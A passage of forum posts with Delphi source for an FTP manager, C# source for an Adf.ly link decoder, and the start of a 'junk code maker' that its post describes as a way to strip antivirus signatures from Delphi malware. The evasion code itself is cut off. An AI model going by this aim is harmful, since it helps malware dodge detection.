  18.   Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;
  19.  
  20. type
  21.   TFormHome = class(TForm)
  22.     gbFTP_Data: TGroupBox;
  23.     lblHost: TLabel;
  24.     txtHost: TEdit;
  25.     lblUsername: TLabel;
  26.     txtUsername: TEdit;
  27.     lblPassword: TLabel;
  28.     txtPassword: TEdit;
  29.     btnConnect: TButton;
  30.     gbMyFiles: TGroupBox;
  31.     lblDirectory1: TLabel;
  32.     txtMe_Directory: TEdit;
  33.     btnListMe: TButton;
  34.     lvLocalFiles: TListView;
  35.     gbFTP_Files: TGroupBox;
  36.     lblDirectory2: TLabel;
  37.     txt_FTP_Directory: TEdit;
  38.     btnList_FTP: TButton;
  39.     lv_FTP_Files: TListView;
  40.     btnUpload: TButton;
  41.     btnDownload: TButton;
  42.     directorios: TListBox;
  43.     archivos: TListBox;
  44.     status: TStatusBar;
  45.     local_iconos: TImageList;
  46.     ftp_client: TIdFTP;
  47.     ftp_iconos: TImageList;
  48.     progreso: TProgressBar;
  49.     imgLogo: TImage;
  50.     menu_local: TPopupMenu;
  51.     MakeDirectory1: TMenuItem;
  52.     Rename1: TMenuItem;
  53.     Delete1: TMenuItem;
  54.     Refresh1: TMenuItem;
  55.     menu_ftp: TPopupMenu;
  56.     MakeDirectory2: TMenuItem;
  57.     Rename2: TMenuItem;
  58.     Delete2: TMenuItem;
  59.     Refresh2: TMenuItem;
  60.     ilIconos: TImageList;
  61.     procedure btnConnectClick(Sender: TObject);
  62.     procedure btnListMeClick(Sender: TObject);
  63.     procedure btnList_FTPClick(Sender: TObject);
  64.     procedure btnUploadClick(Sender: TObject);
  65.     procedure ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
  66.       AWorkCount: Int64);
  67.     procedure ftp_clientWorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  68.       AWorkCountMax: Int64);
  69.     procedure ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  70.     procedure btnDownloadClick(Sender: TObject);
  71.     procedure lvLocalFilesDblClick(Sender: TObject);
  72.     procedure lv_FTP_FilesDblClick(Sender: TObject);
  73.     procedure MakeDirectory1Click(Sender: TObject);
  74.     procedure Rename1Click(Sender: TObject);
  75.     procedure Delete1Click(Sender: TObject);
  76.     procedure Refresh1Click(Sender: TObject);
  77.     procedure FormCreate(Sender: TObject);
  78.     procedure MakeDirectory2Click(Sender: TObject);
  79.     procedure Rename2Click(Sender: TObject);
  80.     procedure Delete2Click(Sender: TObject);
  81.     procedure Refresh2Click(Sender: TObject);
  82.  
  83.   private
  84.     { Private declarations }
  85.   public
  86.     { Public declarations }
  87.   end;
  88.  
  89. var
  90.   FormHome: TFormHome;
  91.  
  92. implementation
  93.  
  94. {$R *.dfm}
  95.  
  96. procedure listar(dirnownow: string; ListaDeArchivos: TListView;
  97.   ListaDeIconos: TImageList);
  98. var
  99.   buscar: TSearchRec;
  100.   Icon: TIcon;
  101.   listate: TListItem;
  102.   getdata: SHFILEINFO;
  103.   dirnow: string;
  104.  
  105. begin
  106.  
  107.   if (DirectoryExists(dirnownow)) then
  108.   begin
  109.     ListaDeIconos.Clear;
  110.  
  111.     dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);
  112.  
  113.     ListaDeArchivos.Items.Clear;
  114.     Icon := TIcon.Create;
  115.     ListaDeArchivos.Items.BeginUpdate;
  116.  
  117.     if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  118.     begin
  119.       repeat
  120.         if (buscar.Attr = faDirectory) then
  121.         begin
  122.  
  123.           with ListaDeArchivos do
  124.           begin
  125.  
  126.             if not(buscar.Name = '.') and not(buscar.Name = '..') then
  127.             begin
  128.  
  129.               listate := ListaDeArchivos.Items.Add;
  130.  
  131.               SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
  132.                 SizeOf(getdata), SHGFI_DISPLAYNAME);
  133.               listate.Caption := getdata.szDisplayName;
  134.  
  135.               SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
  136.                 SizeOf(getdata), SHGFI_TYPENAME);
  137.               listate.SubItems.Add(getdata.szTypeName);
  138.  
  139.               SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
  140.                 SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
  141.               Icon.Handle := getdata.hIcon;
  142.               listate.ImageIndex := ListaDeIconos.AddIcon(Icon);
  143.  
  144.               DestroyIcon(getdata.hIcon);
  145.  
  146.             end;
  147.           end;
  148.  
  149.         end;
  150.       until FindNext(buscar) <> 0;
  151.       FindClose(buscar);
  152.     end;
  153.  
  154.     if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  155.     begin
  156.       repeat
  157.         if (buscar.Attr <> faDirectory) then
  158.         begin
  159.  
  160.           with ListaDeArchivos do
  161.           begin
  162.  
  163.             listate := ListaDeArchivos.Items.Add;
  164.  
  165.             SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
  166.               SizeOf(getdata), SHGFI_DISPLAYNAME);
  167.             listate.Caption := buscar.Name;
  168.  
  169.             SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
  170.               SizeOf(getdata), SHGFI_TYPENAME);
  171.             listate.SubItems.Add(getdata.szTypeName);
  172.  
  173.             SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
  174.               SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
  175.             Icon.Handle := getdata.hIcon;
  176.             listate.ImageIndex := ListaDeIconos.AddIcon(Icon);
  177.  
  178.             DestroyIcon(getdata.hIcon);
  179.  
  180.           end;
  181.  
  182.         end
  183.  
  184.         until FindNext(buscar) <> 0;
  185.         FindClose(buscar);
  186.       end;
  187.  
  188.       ListaDeArchivos.Items.EndUpdate;
  189.     end;
  190.  
  191.   end;
  192.  
  193.   procedure listarftp(dirnownow2: string; ListaDeArchivosFTP: TListView;
  194.     ftp: TIdFTP; DirectoriosEncontrados: TListBox;
  195.     ArchivosEncontrados: TListBox);
  196.   var
  197.     i: integer;
  198.     Item: TIdFTPListItem;
  199.     listate2: TListItem;
  200.  
  201.   begin
  202.  
  203.     ListaDeArchivosFTP.Items.Clear;
  204.     DirectoriosEncontrados.Clear;
  205.     ArchivosEncontrados.Clear;
  206.  
  207.     listate2 := ListaDeArchivosFTP.Items.Add;
  208.  
  209.     ftp.ChangeDir(dirnownow2);
  210.     ftp.List('*.*', True);
  211.  
  212.     for i := 0 to ftp.DirectoryListing.Count - 1 do
  213.     begin
  214.  
  215.       Item := ftp.DirectoryListing.Items[i];
  216.       if Item.ItemType = ditFile then
  217.       begin
  218.         DirectoriosEncontrados.Items.Add(ftp.DirectoryListing.Items[i]
  219.           .FileName);
  220.       end
  221.       else
  222.       begin
  223.         ArchivosEncontrados.Items.Add(ftp.DirectoryListing.Items[i].FileName);
  224.       end;
  225.  
  226.     end;
  227.  
  228.     ListaDeArchivosFTP.Items.Clear;
  229.  
  230.     for i := 0 to ArchivosEncontrados.Count - 1 do
  231.     begin
  232.  
  233.       with ListaDeArchivosFTP do
  234.  
  235.       begin
  236.  
  237.         listate2 := ListaDeArchivosFTP.Items.Add;
  238.         listate2.Caption := ArchivosEncontrados.Items[i];
  239.         listate2.SubItems.Add('Directory');
  240.         listate2.ImageIndex := 0;
  241.  
  242.       end;
  243.     end;
  244.  
  245.     for i := 0 to DirectoriosEncontrados.Count - 1 do
  246.     begin
  247.  
  248.       with ListaDeArchivosFTP do
  249.  
  250.       begin
  251.  
  252.         listate2 := ListaDeArchivosFTP.Items.Add;
  253.         listate2.Caption := DirectoriosEncontrados.Items[i];
  254.         listate2.SubItems.Add('File');
  255.         listate2.ImageIndex := 1;
  256.  
  257.       end;
  258.     end;
  259.  
  260.   end;
  261.  
  262.   procedure TFormHome.btnConnectClick(Sender: TObject);
  263.   begin
  264.  
  265.     lv_FTP_Files.Items.Clear;
  266.  
  267.     directorios.Clear;
  268.     archivos.Clear;
  269.  
  270.     if (btnConnect.Caption = 'Disconnect') then
  271.     begin
  272.       ftp_client.Disconnect;
  273.       btnConnect.Caption := 'Connect';
  274.       status.Panels[0].Text := '[+] Disconnected';
  275.       FormHome.status.Update;
  276.       txt_FTP_Directory.Text := '';
  277.       MessageBox(0, 'Disconnected', 'FTP Manager 1.0', MB_ICONINFORMATION);
  278.     end
  279.     else
  280.     begin
  281.  
  282.       ftp_client.host := txtHost.Text;
  283.       ftp_client.username := txtUsername.Text;
  284.       ftp_client.password := txtPassword.Text;
  285.  
  286.       try
  287.         ftp_client.connect;
  288.         btnConnect.Caption := 'Disconnect';
  289.         status.Panels[0].Text := '[+] Connected';
  290.         FormHome.status.Update;
  291.  
  292.         txt_FTP_Directory.Text := '/';
  293.         listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
  294.           archivos);
  295.  
  296.         MessageBox(0, 'Connected', 'FTP Manager 1.0', MB_ICONINFORMATION);
  297.       except
  298.         status.Panels[0].Text := '[-] Error connecting to server';
  299.         FormHome.status.Update;
  300.         MessageBox(0, 'Error connecting to server', 'FTP Manager 1.0',
  301.           MB_ICONERROR);
  302.       end;
  303.     end;
  304.  
  305.   end;
  306.  
  307.   procedure TFormHome.Delete1Click(Sender: TObject);
  308.   var
  309.     archivo: string;
  310.   begin
  311.     if Assigned(lvLocalFiles.Selected) then
  312.     begin
  313.       archivo := lvLocalFiles.Selected.Caption;
  314.       if DeleteFile(txtMe_Directory.Text + '/' + archivo) then
  315.       begin
  316.         if not(txtMe_Directory.Text = '') then
  317.         begin
  318.           listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  319.         end;
  320.         MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
  321.       end
  322.       else
  323.       begin
  324.         MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
  325.       end;
  326.     end;
  327.   end;
  328.  
  329.   procedure TFormHome.Delete2Click(Sender: TObject);
  330.   var
  331.     archivo: string;
  332.   begin
  333.     if Assigned(lv_FTP_Files.Selected) then
  334.     begin
  335.       archivo := lv_FTP_Files.Selected.Caption;
  336.       ftp_client.ChangeDir(txt_FTP_Directory.Text);
  337.       try
  338.         begin
  339.           ftp_client.Delete(archivo);
  340.           if not(txt_FTP_Directory.Text = '') then
  341.           begin
  342.             listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
  343.               directorios, archivos);
  344.           end;
  345.           MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
  346.         end;
  347.       except
  348.         MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
  349.       end;
  350.     end;
  351.   end;
  352.  
  353.   procedure TFormHome.btnDownloadClick(Sender: TObject);
  354.   var
  355.     fileabajar: string;
  356.   begin
  357.  
  358.     if Assigned(lv_FTP_Files.Selected) then
  359.     begin
  360.       try
  361.         begin
  362.           fileabajar := lv_FTP_Files.Selected.Caption;;
  363.           ftp_client.OnWork := ftp_clientWork;
  364.           ftp_client.ChangeDir(txt_FTP_Directory.Text);
  365.  
  366.           progreso.Max := ftp_client.Size(ExtractFileName(fileabajar)) div 1024;
  367.  
  368.           ftp_client.Get(fileabajar, txtMe_Directory.Text + '/' + fileabajar,
  369.             False, False);
  370.  
  371.           if not(txtMe_Directory.Text = '') then
  372.           begin
  373.             listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  374.           end;
  375.  
  376.           MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
  377.             MB_ICONINFORMATION);
  378.         end;
  379.       except
  380.         MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
  381.       end;
  382.     end
  383.     else
  384.     begin
  385.       MessageBox(0, 'Select File to download', 'FTP Manager 1.0',
  386.         MB_ICONINFORMATION);
  387.     end;
  388.   end;
  389.  
  390.   procedure TFormHome.FormCreate(Sender: TObject);
  391.   begin
  392.     UseLatestCommonDialogs := False;
  393.     txtMe_Directory.Text := GetCurrentDir + '\';
  394.     listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  395.   end;
  396.  
  397.   procedure TFormHome.ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
  398.     AWorkCount: Int64);
  399.   begin
  400.     status.Panels[0].Text := '[+] Working ...';
  401.     FormHome.status.Update;
  402.  
  403.     progreso.Position := AWorkCount div 1024;
  404.   end;
  405.  
  406.   procedure TFormHome.ftp_clientWorkBegin(ASender: TObject;
  407.     AWorkMode: TWorkMode; AWorkCountMax: Int64);
  408.   begin
  409.     status.Panels[0].Text := '[+] Working ..';
  410.     FormHome.status.Update;
  411.   end;
  412.  
  413.   procedure TFormHome.ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  414.   begin
  415.     status.Panels[0].Text := '[+] Finished';
  416.     FormHome.status.Update;
  417.     progreso.Max := 0;
  418.   end;
  419.  
  420.   procedure TFormHome.lv_FTP_FilesDblClick(Sender: TObject);
  421.   begin
  422.     if Assigned(lv_FTP_Files.Selected) then
  423.     begin
  424.       if (lv_FTP_Files.Selected.SubItems.Strings[0] = 'Directory') then
  425.       begin
  426.         ftp_client.ChangeDir(txt_FTP_Directory.Text +
  427.           lv_FTP_Files.Selected.Caption + '/');
  428.         listarftp(txt_FTP_Directory.Text + lv_FTP_Files.Selected.Caption + '/',
  429.           lv_FTP_Files, ftp_client, directorios, archivos);
  430.         txt_FTP_Directory.Text := ftp_client.RetrieveCurrentDir + '/';
  431.       end;
  432.     end
  433.     else
  434.     begin
  435.       MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
  436.     end;
  437.   end;
  438.  
  439.   procedure TFormHome.btnList_FTPClick(Sender: TObject);
  440.   begin
  441.     if not(txt_FTP_Directory.Text = '') then
  442.     begin
  443.       listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
  444.         archivos);
  445.     end
  446.     else
  447.     begin
  448.       MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
  449.     end;
  450.   end;
  451.  
  452.   procedure TFormHome.btnListMeClick(Sender: TObject);
  453.   begin
  454.     if not(txtMe_Directory.Text = '') then
  455.     begin
  456.       listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  457.     end
  458.     else
  459.     begin
  460.       MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
  461.     end;
  462.   end;
  463.  
  464.   procedure TFormHome.lvLocalFilesDblClick(Sender: TObject);
  465.   begin
  466.     if Assigned(lvLocalFiles.Selected) then
  467.     begin
  468.       if (DirectoryExists(txtMe_Directory.Text + lvLocalFiles.Selected.Caption +
  469.         '/')) then
  470.       begin
  471.         Chdir(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/');
  472.         listar(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/',
  473.           lvLocalFiles, local_iconos);
  474.         txtMe_Directory.Text := GetCurrentDir + '\';
  475.       end;
  476.     end
  477.     else
  478.     begin
  479.       MessageBox(0, 'Select Path', 'FTP Manager 1.0', MB_ICONINFORMATION);
  480.     end;
  481.   end;
  482.  
  483.   procedure TFormHome.MakeDirectory1Click(Sender: TObject);
  484.   var
  485.     directorio: string;
  486.   begin
  487.     directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
  488.     try
  489.       begin
  490.         MkDir(txtMe_Directory.Text + '/' + directorio);
  491.         if not(txtMe_Directory.Text = '') then
  492.         begin
  493.           listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  494.         end;
  495.         MessageBox(0, 'Directory created', 'FTP Manager 1.0',
  496.           MB_ICONINFORMATION);
  497.       end;
  498.     except
  499.       MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
  500.     end;
  501.   end;
  502.  
  503.   procedure TFormHome.MakeDirectory2Click(Sender: TObject);
  504.   var
  505.     directorio: string;
  506.   begin
  507.     directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
  508.     try
  509.       begin
  510.         ftp_client.ChangeDir(txt_FTP_Directory.Text);
  511.         ftp_client.MakeDir(directorio);
  512.         if not(txt_FTP_Directory.Text = '') then
  513.         begin
  514.           listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
  515.             directorios, archivos);
  516.         end;
  517.         MessageBox(0, 'Directory created', 'FTP Manager 1.0',
  518.           MB_ICONINFORMATION);
  519.       end;
  520.     except
  521.       MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
  522.     end;
  523.   end;
  524.  
  525.   procedure TFormHome.Refresh1Click(Sender: TObject);
  526.   begin
  527.     if not(txtMe_Directory.Text = '') then
  528.     begin
  529.       listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  530.     end
  531.     else
  532.     begin
  533.       MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
  534.     end;
  535.   end;
  536.  
  537.   procedure TFormHome.Refresh2Click(Sender: TObject);
  538.   begin
  539.     if not(txt_FTP_Directory.Text = '') then
  540.     begin
  541.       listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
  542.         archivos);
  543.     end;
  544.   end;
  545.  
  546.   procedure TFormHome.Rename1Click(Sender: TObject);
  547.   var
  548.     original, new_name: string;
  549.   begin
  550.     if Assigned(lvLocalFiles.Selected) then
  551.     begin
  552.       original := lvLocalFiles.Selected.Caption;
  553.       new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
  554.       if RenameFile(txtMe_Directory.Text + '/' + original,
  555.         txtMe_Directory.Text + '/' + new_name) then
  556.       begin
  557.         if not(txtMe_Directory.Text = '') then
  558.         begin
  559.           listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  560.         end;
  561.         MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
  562.       end
  563.       else
  564.       begin
  565.         MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
  566.       end;
  567.     end;
  568.   end;
  569.  
  570.   procedure TFormHome.Rename2Click(Sender: TObject);
  571.   var
  572.     original, new_name: string;
  573.   begin
  574.     if Assigned(lv_FTP_Files.Selected) then
  575.     begin
  576.       original := lv_FTP_Files.Selected.Caption;
  577.       new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
  578.       try
  579.         begin
  580.           ftp_client.ChangeDir(txt_FTP_Directory.Text);
  581.           ftp_client.Rename(original, new_name);
  582.           if not(txt_FTP_Directory.Text = '') then
  583.           begin
  584.             listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
  585.               directorios, archivos);
  586.           end;
  587.           MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
  588.         end;
  589.       except
  590.         MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
  591.       end;
  592.     end;
  593.  
  594.   end;
  595.  
  596.   procedure TFormHome.btnUploadClick(Sender: TObject);
  597.   var
  598.     fileasubir: string;
  599.     dirasubir: string;
  600.     cantidad: File of byte;
  601.   begin
  602.  
  603.     if Assigned(lvLocalFiles.Selected) then
  604.     begin
  605.       try
  606.         begin
  607.           fileasubir := txtMe_Directory.Text + lvLocalFiles.Selected.Caption;
  608.           dirasubir := txt_FTP_Directory.Text;
  609.  
  610.           ftp_client.OnWork := ftp_clientWork;
  611.  
  612.           AssignFile(cantidad, fileasubir);
  613.           Reset(cantidad);
  614.           progreso.Max := FileSize(cantidad) div 1024;
  615.           CloseFile(cantidad);
  616.  
  617.           ftp_client.ChangeDir(dirasubir);
  618.           ftp_client.Put(fileasubir, lvLocalFiles.Selected.Caption, False);
  619.  
  620.           if not(txt_FTP_Directory.Text = '') then
  621.           begin
  622.             listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
  623.               directorios, archivos);
  624.           end;
  625.  
  626.           MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
  627.             MB_ICONINFORMATION);
  628.         end;
  629.       except
  630.         MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
  631.       end;
  632.     end
  633.     else
  634.     begin
  635.       MessageBox(0, 'Select File to upload', 'FTP Manager 1.0',
  636.         MB_ICONINFORMATION);
  637.     end;
  638.   end;
  639.  
  640. end.
  641.  
  642. // The End ?
  643.  

Si quieren bajar el programa lo pueden hacer de aca.
24  Programación / .NET (C#, VB.NET, ASP) / [C#] Adf.ly Killer 0.5 en: 22 Julio 2016, 18:53 pm
Un programa en C# para decodificar una URL de Adf.ly , este programa esta basado en la funcion publicada en VB.Net por fudmario para lograr esta tarea.

Tiene dos opciones , la primera es para decodificar una unica URL y la otra es para decodificar varias URLS en un archivo de texto.

Una imagen :



El codigo :

Código
  1. // Adf.ly Killer 0.5
  2. // (C) Doddy Hackman 2016
  3. // Credits : Thanks to fudmario
  4.  
  5. using System;
  6. using System.Collections.Generic;
  7. using System.ComponentModel;
  8. using System.Data;
  9. using System.Drawing;
  10. using System.Text;
  11. using System.Windows.Forms;
  12. using System.Text.RegularExpressions;
  13. using Microsoft.VisualBasic;
  14. using System.IO;
  15.  
  16. namespace Adf.ly_Killer
  17. {
  18.     public partial class FormHome : Form
  19.     {
  20.         public FormHome()
  21.         {
  22.             InitializeComponent();
  23.         }
  24.  
  25.         private void btnExit_Click(object sender, EventArgs e)
  26.         {
  27.             Application.Exit();
  28.         }
  29.  
  30.         public string base64_encode(string texto)
  31.         {
  32.             return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(texto));
  33.         }
  34.  
  35.         public string base64_decode(string texto)
  36.         {
  37.             return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(texto));
  38.         }
  39.  
  40.         private Boolean check_link(string link)
  41.         {
  42.             Match regex = Regex.Match(link, "adf.ly", RegexOptions.IgnoreCase);
  43.             if (regex.Success)
  44.             {
  45.                 return true;
  46.             }
  47.             else
  48.             {
  49.                 return false;
  50.             }
  51.         }
  52.  
  53.         private string adfly_decode(string link_to_decode)
  54.         {
  55.             string link_decoded = "";
  56.             DH_Tools tools = new DH_Tools();
  57.             string code = tools.toma(link_to_decode);
  58.             Match regex = Regex.Match(code, "var ysmm = '(.*?)';", RegexOptions.IgnoreCase);
  59.             if (regex.Success)
  60.             {
  61.                 string link = regex.Groups[1].Value;
  62.                 string left = "";
  63.                 string right = "";
  64.                 for (int i = 0; i < link.Length; i++)
  65.                 {
  66.                     if (i % 2 == 0)
  67.                     {
  68.                         left = left + Convert.ToString(link[i]);
  69.                     }
  70.                     else
  71.                     {
  72.                         right = Convert.ToString(link[i]) + right;
  73.                     }
  74.                 }
  75.                 string link_encoded = base64_decode(left + right);
  76.                 string link_ready = link_encoded.Substring(2);
  77.                 link_decoded = link_ready;
  78.  
  79.             }
  80.             if (link_decoded == "")
  81.             {
  82.                 link_decoded = "???";
  83.             }
  84.             return link_decoded;
  85.         }
  86.  
  87.         private void btnKill_Click(object sender, EventArgs e)
  88.         {
  89.             txtResult.Text = "";
  90.             if (txtEnterLink.Text != "")
  91.             {
  92.                 if (check_link(txtEnterLink.Text))
  93.                 {
  94.                     status.Text = "[+] Decoding ...";
  95.                     this.Refresh();
  96.                     string result = adfly_decode(txtEnterLink.Text);
  97.                     if (result != "???")
  98.                     {
  99.                         txtResult.Text = result;
  100.                         status.Text = "[+] Link Decoded";
  101.                         this.Refresh();
  102.                     }
  103.                     else
  104.                     {
  105.                         txtResult.Text = "Not Found";
  106.                         status.Text = "[-] Not Found";
  107.                         this.Refresh();
  108.                     }
  109.                 }
  110.                 else
  111.                 {
  112.                     status.Text = "[-] Link Invalid";
  113.                     this.Refresh();
  114.                 }
  115.             }
  116.             else
  117.             {
  118.                 status.Text = "[-] Enter Link to decode";
  119.                 this.Refresh();
  120.             }
  121.         }
  122.  
  123.         private void btnCopy_Click(object sender, EventArgs e)
  124.         {
  125.             try
  126.             {
  127.                 Clipboard.Clear();
  128.                 Clipboard.SetText(txtResult.Text);
  129.                 status.Text = "[+] Link copied to clipboard";
  130.                 this.Refresh();
  131.             }
  132.             catch
  133.             {
  134.                 //
  135.             }
  136.         }
  137.  
  138.         private void miAddLink_Click(object sender, EventArgs e)
  139.         {
  140.             string link = Interaction.InputBox("Enter Link : ", "Adf.ly Killer 0.5", "");
  141.             if (link != "")
  142.             {
  143.                 if (check_link(link))
  144.                 {
  145.                     ListViewItem item = new ListViewItem();
  146.                     item.Text = link;
  147.                     item.SubItems.Add("...");
  148.                     lvLinks.Items.Add(item);
  149.                     status.Text = "[+] Link Added";
  150.                     this.Refresh();
  151.                 }
  152.                 else
  153.                 {
  154.                     status.Text = "[-] Link Invalid";
  155.                     this.Refresh();
  156.                 }
  157.             }
  158.             else
  159.             {
  160.                 status.Text = "[-] Enter Link";
  161.                 this.Refresh();
  162.             }
  163.         }
  164.  
  165.         private void miAddWordlist_Click(object sender, EventArgs e)
  166.         {
  167.             odOpenFile.InitialDirectory = System.IO.Path.GetDirectoryName(Application.ExecutablePath); ;
  168.             DialogResult resultado = odOpenFile.ShowDialog();
  169.             if (resultado == DialogResult.OK)
  170.             {
  171.                 string filename = odOpenFile.FileName;
  172.                 int counter = 0;
  173.                 if (File.Exists(filename))
  174.                 {
  175.                     var lines = File.ReadAllLines(filename);
  176.                     foreach (var line in lines)
  177.                     {
  178.                         if (check_link(line))
  179.                         {
  180.                             ListViewItem item = new ListViewItem();
  181.                             item.Text = line;
  182.                             item.SubItems.Add("...");
  183.                             lvLinks.Items.Add(item);
  184.                             counter = counter + 1;
  185.                         }
  186.                     }
  187.                     if (counter > 0)
  188.                     {
  189.                         status.Text = "[+] Links Added : " + counter.ToString();
  190.                         this.Refresh();
  191.                     }
  192.                     else
  193.                     {
  194.                         status.Text = "[-] Links not found";
  195.                         this.Refresh();
  196.                     }
  197.                 }
  198.                 else
  199.                 {
  200.                     status.Text = "[-] Enter Valid Filename";
  201.                     this.Refresh();
  202.                 }
  203.             }
  204.         }
  205.  
  206.         private void miClearList_Click(object sender, EventArgs e)
  207.         {
  208.             lvLinks.Items.Clear();
  209.         }
  210.  
  211.         private void miKill_Click(object sender, EventArgs e)
  212.         {
  213.             if (lvLinks.Items.Count > 0)
  214.             {
  215.                 for (int i = 0; i < lvLinks.Items.Count; i++)
  216.                 {
  217.                     ListViewItem item = lvLinks.Items[i];
  218.                     string link_to_decode = item.Text;
  219.                     status.Text = "[+] Checking : " + link_to_decode + " ...";
  220.                     this.Refresh();
  221.                     string result = adfly_decode(link_to_decode);
  222.                     if (result != "???")
  223.                     {
  224.                         lvLinks.Items[i].SubItems[1].Text = result;
  225.                         status.Text = "[+] " + link_to_decode+" : "+result;
  226.                         this.Refresh();
  227.                     }
  228.                     else
  229.                     {
  230.                         lvLinks.Items[i].SubItems[1].Text = "Not Found";
  231.                         status.Text = "[-] " + link_to_decode + " : " + "Not Found";
  232.                         this.Refresh();
  233.                     }
  234.                 }
  235.                 status.Text = "[+] Finished";
  236.                 this.Refresh();
  237.             }
  238.             else
  239.             {
  240.                 status.Text = "[-] Links not found";
  241.                 this.Refresh();
  242.             }
  243.         }
  244.  
  245.         private void miCopy_Click(object sender, EventArgs e)
  246.         {
  247.  
  248.             if (lvLinks.SelectedIndices.Count > 0 && lvLinks.SelectedIndices[0] != -1)
  249.             {
  250.                 string link = lvLinks.SelectedItems[0].SubItems[1].Text;
  251.                 if (link != "..." || link!="Not Found")
  252.                 {
  253.                     try
  254.                     {
  255.                         Clipboard.Clear();
  256.                         Clipboard.SetText(link);
  257.                         status.Text = "[+] Link copied to clipboard";
  258.                         this.Refresh();
  259.                     }
  260.                     catch
  261.                     {
  262.                         //
  263.                     }
  264.                 }
  265.             }
  266.         }
  267.  
  268.     }
  269. }
  270.  
  271. // The End ?
  272.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
25  Programación / Programación General / [Delphi] DH Junk Code Maker 0.4 en: 9 Julio 2016, 16:40 pm
Un programa en Delphi para generar codigo basura y lograr quitar algunas firmas de AV en un malware hecho en Delphi.

Tiene las siguientes opciones :

  • Generar constantes
  • Generar variables
  • Generar varios for
  • Generar funciones con variables
  • Generar funciones con for
  • Generar codigo con todas las funciones anteriores juntas
  • Se puede establecer una lontigud para cada opcion

Una imagen :



El codigo :

Código
  1. // DH Junk Code Maker 0.4
  2. // (C) Doddy Hackman 2016
  3.  
  4. unit junk;
  5.  
  6. interface
  7.  
  8. uses
  9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.   System.Classes, Vcl.Graphics,
  11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  12.   Vcl.ComCtrls, Vcl.Styles.Utils.Menus, Vcl.Styles.Utils.SysStyleHook,
  13.   Vcl.Styles.Utils.SysControls, Math, Vcl.Menus, Vcl.Imaging.pngimage,
  14.   Vcl.ImgList;
  15.  
  16. type
  17.   TFormHome = class(TForm)
  18.     imgLogo: TImage;
  19.     gbOutput: TGroupBox;
  20.     mmOutput: TMemo;
  21.     gbEnterLength: TGroupBox;
  22.     txtLength: TEdit;
  23.     udLength: TUpDown;
  24.     gbType: TGroupBox;
  25.     cmbOptions: TComboBox;
  26.     gbOptions: TGroupBox;
  27.     btnGenerate: TButton;
  28.     ppOptions: TPopupMenu;
  29.     copy: TMenuItem;
  30.     clear: TMenuItem;
  31.     ilIconos: TImageList;
  32.     procedure btnGenerateClick(Sender: TObject);
  33.     procedure clearClick(Sender: TObject);
  34.     procedure copyClick(Sender: TObject);
  35.   private
  36.     { Private declarations }
  37.   public
  38.     { Public declarations }
  39.   end;
  40.  
  41. var
  42.   FormHome: TFormHome;
  43.  
  44. implementation
  45.  
